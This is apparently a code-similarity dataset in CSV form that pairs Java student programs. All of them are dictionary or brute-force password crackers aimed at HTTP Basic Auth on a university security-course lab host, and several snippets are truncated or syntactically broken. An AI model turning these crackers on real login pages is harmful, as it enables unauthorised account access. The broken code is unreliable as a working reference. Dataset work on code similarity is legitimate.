anchor_filename,anchor_code,positive_filename,positive_code 087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 094.java," import java.net.*; import java.io.*; public class BruteForce{ private String passwd = """"; private String command = """"; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; public BruteForce(){} public void doRequest(){ startTime = System.currentTimeMillis(); for(int i=0; i < str.length(); i++){ if(bfind) break; for(int j=0; j < str.length(); j++){ if(bfind) break; for(int k=0; k < str.length(); k++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) +String.valueOf(str.charAt(k)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; for(int j = 0; j Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it brutepswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ BruteForce bf = new BruteForce(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* BruteForce Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n BruteForce Crack Passwd Information:\n""); System.out.println(""--> UserName: ""); System.out.println(""--> MaxPasswdLength: 3""); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); System.out.println(""--> Alphabet: ""+ bf.str+""\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = bf.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} bf.doRequest(); } }",098.java," import java.net.*; import java.io.*; public class Dictionary{ private String passwd = """"; private String command = """"; private String fname = ""/usr/share/lib/dict/words""; private BufferedReader readin; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; public Dictionary(){} public void readPasswd(){ startTime = System.currentTimeMillis(); try{ readin = new BufferedReader(new FileReader(fname)); while ((passwd = readin.readLine()) !=null){ if(bfind) break; connection(passwd.trim()); } readin.print(); }catch (FileNotFoundException e1){System.out.println(e1.getMessage());} catch (IOException e2 ){System.out.println(e2.getMessage());} } public void connection(String passwd){ command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:""; command = command + passwd; try{ System.out.println(passwd +""--> Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nDictionary Crack Passwd successful, PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it dictpswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""dictpswd.txt""))); out.println(""Dictionary Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ Dictionary dc = new Dictionary(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* Dictionary Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n Dictionary Crack Passwd Information: \n""); System.out.println(""--> UserName: ""); System.out.println(""--> Passwd from the dictionary file: ""+ dc.fname); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = dc.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} dc.readPasswd(); } }" 131.java," import java.io.*; import java.net.*; public class BruteForce { private String myUsername = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while 